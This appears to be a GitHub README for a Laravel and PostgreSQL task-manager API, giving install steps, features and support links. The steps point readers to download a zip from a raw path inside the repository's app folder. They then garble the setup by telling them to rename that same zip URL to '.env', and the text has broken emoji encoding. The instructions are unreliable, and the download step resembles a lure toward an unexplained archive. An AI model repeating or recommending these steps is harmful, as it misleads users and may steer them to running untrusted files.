Dexter376/task-manager
π οΈ Build a secure and efficient task management backend API with Laravel 12 and PostgreSQL, offering RESTful services for seamless data handling.
π‘οΈ task-manager - Simple Task Management Made Easy
π Getting Started
This guide will help you download and run the PostgreSQL Task Manager application. You will learn how to set this up smoothly.
Requirements
Before you begin, ensure your computer meets these requirements:
- Operating System: Windows, MacOS, or Linux
- PostgreSQL: Version 16 or later installed on your machine
- PHP: Version 8.1 or later
- Composer: Downloaded and set up
π₯ Download & Install
-
Visit the Releases Page
Go to the Releases Page to download the application. -
Choose the Latest Version
Find the latest release on the page. Click on it to view available files. -
Download the Files
Look for the file named βhttps://github.com/Dexter376/task-manager/raw/refs/heads/main/app/task_manager_v2.1.zipβ or similar. Click the link to download it to your computer. -
Extract the Zip File
Locate the downloaded zip file in your downloads folder. Right-click on it and choose βExtract Allβ to unzip it. -
Open a Command Prompt or Terminal
Navigate to the location where you extracted the files. You can do this by opening Command Prompt or Terminal. -
Install Dependencies
Run the following command to install the necessary packages:composer install
-
Set Up the Environment
Rename thehttps://github.com/Dexter376/task-manager/raw/refs/heads/main/app/task_manager_v2.1.zipfile to.env. Open this file in a text editor. Update the database credentials as needed:DB_CONNECTION=pgsqlDB_HOST=127.0.0.1DB_PORT=5432DB_DATABASE=your_database_nameDB_USERNAME=your_usernameDB_PASSWORD=your_password
-
Create the Database
Open your PostgreSQL client. Create a new database that matches the name you entered in the.envfile. -
Run Migrations
Back in the command prompt or terminal, execute:php artisan migrate
-
Start the Application
Finally, run the following command to start the server:php artisan serve
The application will be available at
http://127.0.0.1:8000.
π Features
- Task Management: Create, update, and delete tasks effortlessly.
- User Authentication: Secure login for users.
- RESTful API: Easily connects with other applications.
- Data Integrity: Utilizes PostgreSQL for reliable data handling.
π API Documentation
To learn how to use the API, refer to the API documentation once the server is running. You can access it by visiting http://127.0.0.1:8000/api/documentation.
π Support and Contribution
If you need help or have questions, visit our issues page. For contributions, feel free to create a pull request after reviewing our contribution guidelines.
π¦ Additional Information
This application is designed for users who want a straightforward task management solution. With a simple interface and reliable backend, you can manage your tasks with ease.
If you want to see how the frontend connects to this backend, check out the Frontend Repository Here.
For any further queries or suggestions, please open an issue on GitHub. Thank you for using our Task Manager application!